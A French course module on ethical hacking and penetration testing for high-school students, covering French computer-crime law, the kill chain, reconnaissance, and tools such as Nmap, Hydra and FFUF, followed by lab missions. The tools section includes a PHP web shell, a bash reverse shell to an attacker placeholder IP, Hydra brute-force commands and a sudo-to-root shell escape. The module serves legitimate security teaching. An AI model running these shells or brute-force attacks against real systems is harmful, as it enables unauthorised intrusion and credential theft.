Hacking éthique — Pentest et exercices⚓︎
Fiche module
Source : Hacoeurethique — Module 2
Public : Terminale NSI — Orientation métiers de la cybersécurité
Objectif : Comprendre les phases d'un test d'intrusion, se mettre dans la peau d'un attaquant pour mieux se défendre
1. Introduction au Pentest⚓︎
1.1 Qu'est-ce qu'un Pentest ?⚓︎
Le Test d'Intrusion (Pentest) est une discipline de la cybersécurité essentielle pour identifier les vulnérabilités et les faiblesses des systèmes informatiques. Son objectif : limiter au maximum les risques.
Rappel des définitions clés
- Vulnérabilité : constat qu'un attaquant pourrait exploiter pour causer des dommages
- Menace : ce qui peut déclencher un incident, volontairement ou non
- Scénario : forme précise que peut prendre une attaque (ex : fuite de données via piratage d'un site web)
- Risque : conséquence d'une attaque possible (ex : blocage de tous les ordinateurs par un ransomware)
Pentest ≠ Audit
Les Pentests aident les organisations à identifier les failles de sécurité potentielles et à prendre les mesures nécessaires. Ce ne sont pas des audits mais ils en font partie. L'audit est une étude aboutissant à un panorama complet du SI par rapport à un référentiel.
1.2 Objectifs de la formation⚓︎
Comprendre les différentes phases d'un Pentest et se mettre dans la peau d'un attaquant
Apprendre à utiliser des outils de reconnaissance, de scan et d'exploitation
Connaître les techniques d'élévation de privilèges et de post-exploitation
Savoir rédiger des rapports de Pentest clairs et concis
Proposer des actions de protection adaptées à chaque niveau

2. Aspects juridiques — Avant tout !⚓︎
Le cadre légal est NON NÉGOCIABLE ⚖️
Le Pentest doit être effectué dans un cadre légal et éthique, avec l'autorisation appropriée des propriétaires des systèmes à tester. Un contrat juridique signé par le client est obligatoire avant de commencer.
2.1 Les principaux articles de loi en France⚓︎
| Article | Infraction | Sanction |
|---|---|---|
| 323-1 | Maintien frauduleux dans un système | 60 000 € d'amende / 2 ans d'emprisonnement |
| 323-3 | Divulgation, altération ou suppression frauduleuse de données | 150 000 € / 5 ans |
| 323-3-1 | Importer, détenir, offrir un équipement ou programme malveillant | Mêmes peines (sauf « motif légitime » : sécurité informatique) |
| 323-4 | Association de malfaiteurs (groupes, « teams ») | Peines aggravées |
| 323-5 | Peines complémentaires | Confiscation du matériel |
| 323-6 | Responsabilité pénale des personnes morales | — |
| 323-7 | La tentative est punie des mêmes peines | — |
3. Préparation du Pentest — Cadrer avec le client⚓︎
3.1 Réunion de qualification⚓︎
Étape 1 : Qualifier le contexte
- Présenter l'entreprise client et la nôtre
- Définir le périmètre du test et son objectif
- Définir le planning et le budget
- Présenter le métier du pentester : actions faites et non faites
- Définir le mode d'approche (boîte noire / grise / blanche)
- Recueillir les prérequis (URL / IP)
3.2 Les trois types de pentest⚓︎
L'auditeur ne dispose d'aucune information sur la cible. Il simule un attaquant externe qui ne connaît rien de l'infrastructure. C'est le test le plus réaliste mais aussi le plus long.
L'auditeur dispose de toutes les informations : schémas réseau, code source, comptes administrateurs. Permet un test exhaustif et approfondi.
L'auditeur dispose d'informations partielles : comptes utilisateurs de différents droits et périmètres. Permet de tester les parties authentifiées.
3.3 Réunion de lancement⚓︎
Étape 2 : Confirmer avant de lancer
Une fois le contrat signé, il faut impérativement :
Ne pas bloquer l'IP du pentester
Valider le compte VPN si nécessaire
Définir qui prévenir en cas de problème et comment (SMS, mail, appel)
Valider les dates et horaires
Prévenir les parties prenantes de l'existence des tests
4. La Cyber Kill Chain — Méthodologie du Pentest⚓︎
La Cyber Kill Chain de Lockheed Martin
Une kill chain est un processus modélisant une intrusion informatique étape par étape. Elle sert de base à la méthodologie d'un test d'intrusion.
Vue d'ensemble des 6 phases⚓︎
| Phase | Nom | Objectif |
|---|---|---|
| Reconnaissance | S'informer sur la cible (passive et active) | |
| Préparation / Armement | Lister les cibles, préparer les outils et charges utiles | |
| Livraison | Exécuter le plan d'attaque, tenter d'entrer dans le système | |
| Exploitation | Exploiter une vulnérabilité pour obtenir un accès initial | |
| Élévation de privilèges | Augmenter ses droits, se déplacer latéralement | |
| Maintien | Assurer un accès durable et effacer ses traces |

Exemple concret : attaque par ransomware 
- Les attaquants collectent des adresses courriel d'employés
- Ils envoient un logiciel malveillant dans un courriel piégé
- Ils prennent le contrôle de l'ordinateur à distance
- Depuis le poste compromis, ils identifient des vulnérabilités dans le SI
- Ils exploitent ces vulnérabilités pour compromettre de nouveaux comptes
- De fil en aiguille, ils compromettent des utilisateurs avec de plus en plus de privilèges
- Une fois un administrateur compromis, ils lancent le ransomware sur tout le domaine
Phase 1 : Reconnaissance⚓︎
5.1 Reconnaissance passive⚓︎
Dans cette phase, on collecte des informations sans interagir directement avec les systèmes de la cible :
Informations publiques et ouvertes (sites web, réseaux sociaux)
Enregistrements DNS, données WHOIS
Données publiques des employés
Données volées (Have I Been Pwned)
Dépôts GitHub, données exposées dans les forums
OSINT — Open Source Intelligence
L'OSINT consiste à exploiter les informations en sources ouvertes pour :
- Cartographier le réseau cible
- Découvrir des mots de passe rendus publics
- Préparer des campagnes de phishing
- Créer une banque de données sur la cible
Exemple OSINT concret
Un auditeur signe un contrat avec l'entreprise ABC. Avant toute analyse active, il parcourt Internet et découvre :
- Le siège social et l'emplacement des locaux (utile si test d'intrusion physique prévu)
- Des noms de domaine associés via Google Dorking
- Des adresses mail d'employés sur les réseaux sociaux
- Des noms de sous-traitants (cibles potentiellement plus vulnérables)
5.2 Reconnaissance active (Scanning)⚓︎
Pendant cette phase, on identifie les services actifs, ports ouverts et vulnérabilités sur la cible :
Énumération de noms de domaine / sous-domaines
Machines présentes sur le réseau : adresses IP, ports exposés, OS
Services actifs et versions des protocoles
Scraping, lecture des certificats TLS, historique DNS
Passive vs Active
La reconnaissance passive n'active pas les mécanismes de défense. La reconnaissance active est intrusive : le système peut considérer les requêtes comme hostiles.
5.3 Les scanners de vulnérabilités⚓︎
CVE — Common Vulnerabilities and Exposures
Quand une faille est découverte et répertoriée, elle reçoit un identifiant CVE géré par l'organisation MITRE :
CVE-YYYY-IDENTIFIANT associé à un score de gravité de 1 à 10 (CVSS)
| Outil | Spécialité |
|---|---|
| Nessus | Scanner de vulnérabilités complet et commercial |
| OpenVAS | Scanner open source |
| Nmap | Découverte réseau et scan de ports |
| Qualys | Scanner cloud enterprise |
| Wazuh | Module de détection de vulnérabilités intégré au SIEM |
Pour rechercher les exploits connus à partir d'une CVE :
- Commande Linux :
searchsploit - Site web : https://www.exploit-db.com/
Exemples de reconnaissance active
Un scan révèle qu'un serveur FTP est présent sur le port 21. En y accédant, on constate qu'aucun identifiant n'est demandé. Un dossier accessible en écriture appartient à l'utilisateur « alice ».
Un scan réseau découvre un serveur web sur les ports 80 et 443. Un scan des sous-répertoires révèle un blog WordPress désuet, vulnérable aux injections SQL.
L'auditeur analyse les trames du réseau local. Il découvre que TELNET est utilisé et récupère le mot de passe d'un utilisateur en clair. Il peut aussi réaliser un Man-in-the-Middle.
Phase 2 : Préparation / Armement⚓︎
Une fois bien renseigné sur sa victime, l'attaquant compose un arsenal adapté :
Choisir parmi des outils existants (détournés de leur fonction initiale) ou malveillants
Acheter des logiciels malveillants ou concevoir les siens
Élaborer son plan d'attaque : phishing, brute force, dictionnaires spécifiques, exploitation des vulnérabilités trouvées
C'est l'étape de militarisation de la cyber kill chain : création des charges utiles (payloads) malveillantes.
Phase 3 : Livraison⚓︎
L'attaquant exécute son plan d'attaque et tente d'entrer dans le système pour déposer son payload :
E-mail de phishing (hameçonnage)
Compromission d'un fournisseur (supply chain)
Ingénierie sociale (clé USB piégée dans le parking, usurpation d'identité)
Brute force ou dictionnaire préparé
Dépôt de backdoors aux endroits vulnérables découverts
Objectif
Mettre un ancrage dans le système cible afin de monter d'un niveau et rentrer dans le SI.
Phase 4 : Exploitation⚓︎
Le payload est exécuté et exploite une vulnérabilité pour obtenir un accès initial au SI.
7.1 Command & Control (C2)⚓︎
L'attaquant utilise un outil de C2 pour travailler efficacement depuis une interface préparée. Parmi les outils connus : Cobalt Strike, Empire, Nighthawk, Pwncat, shell99.
Il est aussi possible de créer des exécutables (PHP ou SH) directement sur la cible pour établir un reverse shell.
Exemple d'exploitation multi-chemins
Plusieurs vulnérabilités sont découvertes sur une machine hébergeant une application web et un serveur FTP :
- Injection SQL sur la page de connexion
- Connexion anonyme au FTP avec écriture possible
- Faille Path Traversal permettant d'inclure des fichiers
- Serveur FTP désuet avec RCE connue
Chemin 1 : déposer un backdoor via FTP → l'exécuter via Path Traversal
Chemin 2 : injection SQL → récupérer les identifiants → exécuter du code sur la machine
Technique furtive : MSHTA (sans déclencher l'antivirus)
mshta.exe est une application native Windows qui exécute les fichiers .hta (HTML Applications contenant du JScript ou VBs). Comme elle est dans C:\Windows\System32 et signée Microsoft, elle est souvent en liste blanche.
Un raccourci déguisé en installation de logiciel peut piéger la victime.
Phase 5 : Élévation de privilèges⚓︎
8.1 Mouvement latéral⚓︎
Latéralisation (Lateral Movement)
L'attaquant se déplace de machine en machine pour compromettre d'autres hôtes du réseau. Il utilise des techniques de pivot (ex : tunnel SSH à travers un pare-feu compromis) pour atteindre des systèmes initialement inaccessibles.
8.2 Reconnaissance interne⚓︎
Une fois sur le réseau, l'attaquant relance une phase de reconnaissance :
Outil d'écoute réseau qui intercepte des login/mot de passe d'utilisateurs utilisant des protocoles vulnérables (NTLM, SMB, NTLMv2 sans signature).
Linux Privilege Escalation Awesome Script — énumère tout ce qui est possible sur un système Linux : permissions, fichiers SUID, tâches planifiées, services, etc.
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh
8.3 Privilege Escalation⚓︎
L'élévation de privilèges consiste à obtenir les droits les plus permissifs (root/admin) sur une machine :
- Exploitation d'un noyau Linux vulnérable
- Modification de scripts sensibles avec de mauvaises permissions
- Exploitation de services vulnérables exécutés par root
- Tâches planifiées avec fichiers accessibles en écriture
Exemple
L'auditeur découvre que root exécute toutes les minutes un script accessible en écriture. Il remplace son contenu par du code lançant un shell → accès root obtenu.
8.4 Récupération des secrets⚓︎
Une fois root, l'auditeur peut :
- Récupérer
/etc/shadow(mots de passe hachés de tous les utilisateurs) - Cracker les hash par brute force
- Analyser la mémoire des services pour trouver des mots de passe en clair
8.5 Contrôle d'accès web (Broken Access Control)⚓︎
Vérifier qu'un utilisateur A ne peut pas accéder au périmètre de l'utilisateur B.
Ex : un médecin ne doit accéder qu'aux dossiers de SES patients.
Si un simple changement d'ID dans l'URL donne accès à d'autres données → IDOR (Insecure Direct Object Reference)
Vérifier qu'un utilisateur standard ne peut pas accéder aux fonctionnalités d'un administrateur.
Tester aussi l'accès sans authentification !
- PwnFox : plugin Firefox pour compartimenter les sessions
- Autorize : extension Burp Suite pour automatiser les tests de cloisonnement
- Burp Repeater : rejouer les requêtes avec différents cookies
Phase 6 : Maintien⚓︎
Après avoir obtenu un accès, l'attaquant doit assurer un accès durable :
Porte dérobée (backdoor)
Tâche planifiée (scheduled task)
Web shell pour les serveurs web
Service ou exécutable malveillant au démarrage
Effacer le maximum de traces laissées
En contexte de pentest
Il est rare de mettre en place une porte dérobée lors d'un vrai pentest. Oublier de la supprimer en fin de prestation créerait une vulnérabilité très importante.
9. Le rapport de Pentest⚓︎
9.1 Prise de notes pendant le test⚓︎
Règle d'or
À chaque phase du pentest : tracer, copier, faire des captures d'écran, commenter tout ce que vous faites, dans l'ordre, avec les résultats — qu'ils soient probants ou non. Un résultat de non-vulnérabilité est aussi important pour le client.
Méthode recommandée : construire un canevas de rapport avec toutes les phases, puis le remplir au fur et à mesure. Outils : OneNote, TreeNote, EverNote...
9.2 Contenu du rapport⚓︎
Le rapport de Pentest doit contenir :
Description détaillée des vulnérabilités identifiées
Preuves de concept (PoC)
Recommandations pour corriger les problèmes
Mesures d'atténuation
9.3 Évaluation des vulnérabilités — 3 axes⚓︎
Pour chaque vulnérabilité trouvée, le risque est évalué selon :
Le CVSS (Common Vulnerability Scoring System) se base sur des métriques mesurables : base, temporelle, environnementale.
| Score CVSS | Niveau |
|---|---|
| 0.0 | Aucun |
| 0.1 – 3.9 | Faible |
| 4.0 – 6.9 | Moyen |
| 7.0 – 8.9 | Élevé |
| 9.0 – 10.0 | Critique |
| Niveau | Description |
|---|---|
| Complexe | Modification importante dans l'organisation ou le code. Très coûteuse. |
| Modérée | Modification limitée. Moyennement coûteuse. |
| Facile | Simple modification (fichier de config, mot de passe). Peu coûteuse. |
| Priorité | Niveau | Action |
|---|---|---|
| P1 | Urgent | Correction dans les plus brefs délais |
| P2 | Standard | Processus habituel de traitement |
| P3 | Bas | À la convenance des équipes informatiques |
Toutes les corrections quick win (sévérité haute + complexité facile) doivent être faites en priorité.
9.4 Réunion de restitution⚓︎
Deux documents à préparer :
- Le rapport d'audit : détails complets de toutes les vulnérabilités
- Le support de restitution : synthèse managériale avec contexte, niveaux de sévérité/complexité/priorité, actions par vulnérabilité, plan d'actions avec charge estimée
10. Les outils d'attaque⚓︎
10.1 Vue d'ensemble⚓︎
| Outil | Rôle principal |
|---|---|
| Burp Suite | Plateforme intégrée pour tests de sécurité web (proxy, intercept, intruder, repeater) |
| Nmap | Découverte réseau, scan de ports, détection de services et versions |
| Wordlists / SecLists | Listes de mots pour brute force, fuzzing, dictionnaires |
| FFUF / WFUZZ | Fuzzing de répertoires, fichiers et paramètres web |
| Hydra | Attaques brute force sur SSH, FTP, HTTP, SMTP, etc. |
| Nikto | Scanner de vulnérabilités web (fichiers exposés, méthodes HTTP, SSL) |
| Shells / Reverse shells | Exécution de commandes à distance sur la cible |
10.2 Détail des outils⚓︎
Burp Suite 
Plateforme de référence pour le test de sécurité des applications web. Fonctionnalités clés :
- Proxy : intercepte et modifie les requêtes HTTP/HTTPS
- HTTP History : historique de toutes les requêtes
- Repeater : rejoue et modifie des requêtes individuelles
- Intruder : automatise les attaques par dictionnaire (Cluster Bomb, Sniper, etc.)
- Match and Replace : modifie les requêtes/réponses à la volée
Nmap 
Outil open source de découverte réseau. Commandes essentielles :
# Scan basique des ports
nmap IP_CIBLE
# Scan d'un port spécifique
nmap -p80 IP_CIBLE
# Scan complet avec versions, OS, scripts
nmap -A IP_CIBLE
# Scan avec énumération des versions
nmap -sV IP_CIBLE
# Scan avec scripts NSE
nmap IP_CIBLE --script nom_du_script.nse
# Scan des plugins WordPress
nmap -p443 -sV --script=http-wordpress-enum www.site.fr
Résultats possibles : ouvert (réponse reçue), fermé (RST reçu), filtré (pas de réponse — pare-feu probable).
Wordlists / SecLists 
Les listes de mots sont essentielles pour automatiser la découverte de vulnérabilités, mots de passe, login, etc.
# SecLists (installation)
apt-get install -y seclists
cd /usr/share/seclists/
# RockYou (wordlist classique)
cd /usr/share/wordlists/rockyou.txt
Créer sa propre liste avec cewl (génère une liste à partir du contenu d'un site) :
# Extraire les mots du site
sudo cewl -d 2 -m 5 -w maliste.txt https://site.fr
# Trouver les emails
sudo cewl -w maliste.txt https://site.fr -n -e
Autres générateurs : cupp (profilage de cible), crunch, psudohash, GeoWordlists.
FFUF 
Fuzzer web ultra-rapide utilisant le mot-clé FUZZ remplacé par chaque mot de la liste :
# Découverte de répertoires et fichiers
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u https://site.fr/FUZZ -fc 302,301,404,403
# Brute force POST avec deux variables
ffuf -w liste1.txt:FUZZ1 -w liste2.txt:FUZZ2 \
-X POST -d 'pseudo=FUZZ1&pwd=FUZZ2' \
-request entete.txt -request-proto https -fs 77
Hydra 
Outil open source de brute force multi-protocoles :
# Brute force SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt IP_CIBLE ssh
# Brute force HTTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt IP_CIBLE http-get
Supporte : HTTP, HTTPS, FTP, SSH, Telnet, RDP, SMB, MySQL, PostgreSQL, etc.
Nikto 
Scanner open source de vulnérabilités web :
# Scan basique
nikto -h IP_CIBLE
# Avec authentification
nikto -h IP_CIBLE -id login:mdp
Détecte : fichiers exposés, méthodes HTTP non sécurisées, versions de serveurs, protocoles SSL vulnérables, certificats mal configurés.
Shells et Reverse Shells 
Shell (cmd.php) — exécution de commandes depuis le site web :
<?php system($_GET['cmd']); ?>
http://site/cmd.php?cmd=id
Reverse shell — la cible se connecte à l'attaquant :
# Sur la cible (fichier cmd.sh)
#!/bin/bash
sh -i >& /dev/tcp/IP_KALI/1234 0>&1
# Sur Kali (écoute)
nc -lvnp 1234
script /dev/null -qc /bin/bash ou pwncat-cs :port
11. Exercices pratiques⚓︎
11.1 Challenges Root-Me⚓︎
Plateforme : https://root-me.org
| Challenge | Concept appris |
|---|---|
| HTML - Code source | Commentaires non désirés dans le code |
| Mot de passe faible | Utilisation de Hydra, Nikto, Burp |
| PHP - Injection de commande | Commandes au-delà de ce qui est attendu |
| HTML - Boutons désactivés | Attaque côté client |
| XSS - Stockée 1 | Redirection de cookie admin |
| Hash - DCC | Utilisation de Hashcat |
| SQL injection - Authentification | Injection SQL basique |
| Directory traversal | Faille de traversée de répertoire |
11.2 Mission 1 — Pentest du site Hacoeurethique⚓︎
Énoncé 
Vous êtes mandaté par Hacoeurethique pour tester son site web. Vous devez découvrir une entrée privée gérée par admin et trouver 1 flag.
Cible : https://hacoeurethique.fr
Méthodologie 
# 1. Énumérer les répertoires
ffuf -u https://hacoeurethique.fr/FUZZ \
-w /usr/share/wordlists/wfuzz/general/common.txt
# 2. Trouver le mot de passe admin
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
www.hacoeurethique.fr http-get "/rep_trouvé"
# 3. Utiliser F12 dans Firefox pour trouver le flag
11.3 Mission 2 — Intrusion réseau interne⚓︎
Énoncé 
Vous êtes sur le réseau interne d'une entreprise. Une VM sous 10.0.250.20 est gérée par admin. Trouvez 2 flags.
Méthodologie 
# 1. Scan des ports
nmap 10.0.250.20
# 2. Brute force HTTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz 10.0.250.20 http-get
# 3. Scan avec credentials
nikto -h <site_trouvé> -id admin:<mdp_trouvé>
# 4. Exploiter RFI avec cmd.php
# 5. Lancer un serveur HTTP local
python3 -m http.server 8080
# 6. Connexion SSH
ssh <login>@10.0.250.20
# 7. Élévation de privilèges
sudo -l
sudo <commande_trouvée> . -exec /bin/bash \;
12. Les 5 leçons de la sécurité réseau⚓︎
À retenir
- La sécurité rencontre les affaires : les politiques de sécurité protègent les données partout, mais la sécurité se fait toujours au détriment de la commodité
- Communication sécurisée : un VPN accompagne vos informations chiffrées à travers Internet. Le DRM protège les données à destination
- Jouer dans le trafic : la configuration correcte des routeurs, pare-feux et dispositifs de régulation peut déjouer les plans des attaquants
- Menaces constantes : les pirates scannent les réseaux jour et nuit. Technologies de renforcement, stéganographie et stockage sécurisé minimisent l'exposition
- Le pire des cas : outils de surveillance et vérification d'intégrité aident à repérer les catastrophes tôt. Une bonne stratégie de rétablissement est indispensable

13. Ressources⚓︎
| Ressource | Lien |
|---|---|
| PayloadsAllTheThings | github.com/swisskyrepo/PayloadsAllTheThings |
| Cheatsheet Haax | cheatsheet.haax.fr |
| GTFOBins | gtfobins.github.io |
| Exploit-DB | exploit-db.com |
| Pentest Tools (GitHub) | github.com/S3cur3Th1sSh1t/Pentest-Tools |
| OSCP Resources | github.com/xsudoxx/OSCP |
| Plateforme | Lien |
|---|---|
| root-me.org | |
| Hack The Box | hackthebox.com |
| TryHackMe | tryhackme.com |
| The Black Side | theblackside.fr |
| CryptoHack | cryptohack.org |
| PortSwigger Academy | portswigger.net/web-security |
| LetsDefend | letsdefend.io |
| Ozint | ozint.eu |
| CyberDefenders | cyberdefenders.org |
| Pwn College | pwn.college |
| Source | Description |
|---|---|
| ENISA | Clips de sensibilisation (FR) |
| Clips Cyber SPIE | Excellentes vidéos courtes sur YouTube |
| Gouvernement FR | Vidéos « Bureau des Légendes » |
Résumé de Hacoeurethique — Hacking éthique, Pentest et Exercices